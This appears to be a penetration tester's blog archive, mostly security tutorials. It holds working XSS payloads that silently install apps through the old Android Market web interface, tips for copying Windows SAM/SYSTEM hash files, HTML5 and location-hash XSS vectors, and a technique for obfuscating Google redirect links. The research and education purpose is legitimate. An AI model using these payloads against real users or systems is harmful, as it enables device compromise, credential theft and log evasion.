XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface (edit: which used to be on http://market.android.com, which doesn’t exist nowadays). While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂

Extracting Windows Hashes

Extracting Windows hashes for password cracking is pretty basic, right? If you try to copy the SAM and SYSTEM file from C:\WINDOWS\system32\config\ on a running Windows 2003 server you get an error message, saying that it’s already in use. So before you start using shadowcopies or ntbackup or any other tools, consider just copying C:\WINDOWS\repair\SAM and SYSTEM. Basically the same files, altough it seems that the repair folder is not always up to date.

Update: There is some more research going on pauldotcom.

How webservers react on specific characters

One thing I did during my Master Thesis a while ago, was to test how different webservers react to all kind of characters. One of the first things I tested was all characters represented by one byte (00 to FF) and their percent encoded equivalents (%00 to %FF). Of course the results may vary with other server versions, server configurations, server side code, client libraries or the sent HTTP headers. For example python’s urllib2 is not able to send 0A (line feed) in an URI (which makes sense). I tried to use standard components as best as I could. The webservers I used were:

  • An Apache 2.2.12 server (port 80), Ubuntu 9.10 machine with PHP 5.2.10
  • On the same machine a Tomcat 6.0.26 server (port 8080) with JSP (Java Server Pages)
  • On a Microsoft-IIS/6.0, Windows 2003 Server R2/SP2 with ASP.NET 2.0.50727 a script in C# on Virtualbox 3.1.8

So here are the main results in one picture:

character_table_for_testing_webservers

The ‘Name’ column means that the character was injected into the parameter name, e.g. na%00me=value&a=b. The fields with ‘S’ are explained in another section of my Master Thesis, but some of the time you can guess the behavior. E.g. I think you know what & stands for in GET parameters, right? 😉

This kind of information is useful when you are trying to write a fuzzer, that is more focused to do some tests that make sense. Would be interesting if this table is useful for someone else.

Automating JD-GUI decompilation on a Mac with AppleScript

I know the guys over at Java Decompiler don’t want to release a command line tool, because they fear that companies will use their code in commercial product. See the discussion here. I found a solution to my problem, so that I can still automate the decompilation process. During my Android research I really need to decompile a lot of jar files, therefore I wrote a simple AppleScript that saves me the sources to my /opt folder.

tell application "JD-GUI"
	activate
end tell

tell application "System Events"
	keystroke "s" using {command down, option down}
end tell
tell application "System Events"
	keystroke tab
	keystroke tab
	keystroke tab
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 36 #Enter
	delay 1
	key code 36 #Enter
	delay 2
end tell

repeat while appIsRunning("JD-GUI")
	tell application "System Events"
		keystroke "q" using {command down} #Close JD-GUI
	end tell
	delay 2
end repeat

on appIsRunning(appName)
	tell application "System Events" to (name of processes) contains appName
end appIsRunning

After saving the script as decompile_jar.applescript with the AppleScript Editor, you can invoke it from your bash script like this:

/Applications/JD-GUI.app/Contents/MacOS/jd-gui example.jar &
sleep 1
osascript decompile_jar.applescript
mv /opt/example.src.zip /your/destination

Importing Burp CA into rooted Android device

The Android operating system is on the rise. The last months I spent a lot of time testing mobile devices, especially the Android platform.l

One of the things that helped me a lot, is the ability to intercept SSL traffic on my Wireless Access Point. Therefore I set up a laptop with Burp, airbase and some iptables commands to redirect the traffic to the Burp proxy. In the Android browser I could simply accept the certificate warning, but for applications like the Google Android Market that’s not possible. Therefore I had to import the Burp CA into my Android device. As far as I know, this is only possible for rooted (and s-off) phones! The follwing things are necessary:

– The PortSwiggerCA from your Burp install (see instructions here)
– The cacerts.bks (from your phone or from the Android source)
Bouncycastle Java Library

Except for the PortSwiggerCA, everything is included in this zip file. After adding the PortSwiggerCA, just execute the import-ca-and-upload.sh script and follow the instructions.

Happy intercepting!

Edit: Depending on which Android version you are running, Android now supports installing “Trusted Credentials”. It’s pretty simple: Download the Burp CA certificate (e.g. through the webinterface on http://burp/ or see below), rename cacert.der to cacert.crt, transfer it to your SD card (or /sdcard folder if you don’t have a physical card in your phone). Then go to “Settings – Security – Install from storage” and it should get recognised automatically. From now on you’ll get a very annoying message everytime you startup your phone (“Network may be monitored-by an unknown third party”) as if a custom CA is a bigger problem than the default CAs… To me all the default CAs are way worse “unknown third party”s. However, this setup is usually not working with your default Android browser and you might still need the steps above. Some apps work, but for example from Android 4.4 on Google uses certificate pinning on its Google server connections. Certificate pinning means you really have to apply hooking techniques to the app you are analysing.

HTML5 security – making web users more safe?

There is one thing security engineers and new technologies ideally have in common: They make existing stuff more secure. For the security engineer, there is certainly a truth in this claim – for new technologies however, I’m not that sure though…

Recently I wanted to improve my skills in HTML5 when I stumbled on some interesting new features a penetration tester (or an attacker, which in most cases does not make a huge difference) can abuse to exploit XSS-vulnerabilities. Of course there are also many more features that make other injections possible, but for XSS there are some very interesting ones. Until now, when you found a XSS hole within a input element that has filtered < and > you could not exploit it automatically without using CSS expressions – for example:

<input type="text" USER_SPECIFIED_INPUT >

This type of vulnerability was usually exploited using something like

style=xss:expression(alert(0))

or similar. Anyway all of them work on a limited set of browsers only and are therefore not that interesting for a real exploit.

So what about HTML5? No more CSS expression is needed – the magic is called autofocus:

<input type="text" AUTOFOCUS onfocus=alert(0)>

Nice – so who did expect new technologies to make users safer? This is just one example – have a look at Mario Heiderich’s “HTML 5 Security Cheatsheet” for many more of them…

Finally – what are the lessons learned?

  • I (and every penetration tester as well as WAF/IDS-developer out there, too) definitively need to look into HTML5
  • HTML5 offers many new features – one might also call it “new ways to attack a web user”

So long – sc0rpio

What about JavaScript support?

This is my first blog post and any feedback is appreciated. During my daily work I have been using w3af, the web application application attack and audit framework, extensively. What I’ve noticed is that w3af sometimes struggles with the basic task of spidering a targeted web application. And if the targeted web application can’t be properly spidered you won’t find any vulnerabilities. The reasons might differ but there is an obvious one which other tools suffer as well. What about JavaScript support in the spiders? Most of the time JavaScript is not properly or not at all supported by web spiders in open source security testing tools. Every web application uses some kind of JavaScript/Ajax functionality to work properly these days. Wouldn’t it be a necessity for spiders in security related applications to support JavaScript? I’m not talking about commercial products which certainly have some kind of JavaScript support but the open source tools certainly lack this feature. There are some open source libraries available I’d like to point out.

The Mozilla Rhino project builds the basis for the HtmlUnit project which describes itself as “GUI-Less browser for Java programs. It models HTML documents and provides an API that allows you to invoke pages, fill out forms, click links, etc… just like you do in your normal browser.” Sounds interesting… and it is. I’ve written a basic web spider component using HtmlUnit for a larger project I am currently working on (more about this later). The great benefit is, as you’ve imagined, the JavaScript support it provides. Let’s see some basic HTML page with embedded JavaScript code (the example is a bit far fetched):

<html>
<head><title>Login Form</title></head>
<body>
    <form action="checkLogin.php" name="loginForm">
    <script type="text/javascript">
        function writeInputElement(inputType, inputName) {
            document.write('<input type="' + inputType + '" name="' + inputName + '" />');
        }
        writeInputElement("text", "username");
        writeInputElement("password", "password");
        writeInputElement("submit", "loginButton");
    </script>
    </form>
</body>
</html>

The preceeding snippet shows the JavaScript code for creating a dynamically HTML form. Web Application Security tools such as w3af are not able to find and work with the dynamically created input fields. Whereas HtmlUnit properly updates the HTML DOM and provides an easy to use API for accessing and modifying the embedded HTML fields. The following code shows how to parse and modify the HTML page:

public void submittingForm() throws Exception {
    // Creates a new browser object using a proxy server
    // and simulating Mozilla Firefox version 3
    final WebClient webClient = new WebClient(BrowserVersion.FIREFOX_3,
        "http://myproxyserver", 8080);

    // Set proxy username and password
    final DefaultCredentialsProvider credentialsProvider = (DefaultCredentialsProvider)
        webClient.getCredentialsProvider();
    credentialsProvider.addProxyCredentials("proxyUsername", "myProxyPassword123");

    // Get the first page
    final HtmlPage page1 = webClient.getPage("http://www.example.com/login.php");

    // Get the form that we are dealing with and within that form,
    // find the submit button and the field that we want to change.
    final HtmlForm form = page1.getFormByName("loginForm");

    final HtmlSubmitInput button = form.getInputByName("loginButton");
    final HtmlTextInput textFieldUsername = form.getInputByName("username");
    final HtmlPasswordInput textFieldPassword = form.getInputByName("password");

    // Change the value of the text fields
    textFieldUsername.setText("john");
    textFieldPassword.setText("gaephah6MueD");

    // Now submit the form by clicking the button and get back the second page
    final HtmlPage page2 = button.click();
}

I’ve tested my spider with the WIVET benchmark project. From the WIVET project page: “WIVET is a benchmarking project that aims to statistically analyze web link extractors. In general, web application vulnerability scanners fall into this category.” My spider scored a 85% discovery rate whereas w3af only scored between 16% and 50% depending on the version used. I hope that there might be more JavaScript/DOM Manipulation libraries for other programming languages in the future.

Cheers, nini0

Ticket machine fail

I had to make a photo of it. Sloppy error handling: Swiss bus/train ticket machine. Failed RMI call on windows command line. I guess it’s Windows CE. I was able to move the mouse cursor and do single clicks using the touch screen. Fortunately there is no keyboard to type in commands!

Location based XSS attacks

There is always something new to learn… Didn’t know this little trick. A very simple example:

A website has a reflected XSS vulnerability (echoes the parameter abc in this example), but escapes " to &quot;. We use the property that web browser do not send the fragment part of an URI (everything after the hash character #) to the web server:

http://example.com/index.php?abc=<script>eval(location.hash.slice(1))</script>#alert(“XSS!!!”);

See the page above for more advanced examples. This technique solves the escaping problem and the server logs never show the Javascript attack code.

Rick Roll’d (Google auto redirect)

Ever been Rick Roll’d by Google? How does this link look like?

http://www.google.ch

Credit goes to Marshall Whittaker, see http://seclists.org/fulldisclosure/2010/Jul/188.

The technique behind it is quite simple:
1. Find a Google query that shows your desired page on top. With query modifiers like intitle: inurl: site: it’s quite easy
2. Construct a Google URL to send a “I’m Feeling Lucky” query
3. Percent encode your Google query from 1 and the button name (“‘I’m Feeling Lucky”) to obfuscate
4. Prepend your Google query with a lot of %20 to fool the browser URL preview in the footer. Hovering over the link will not show the percent decoded URL!

Update: The Google query was additionally appended with %20, so it looks the same in Firefox 5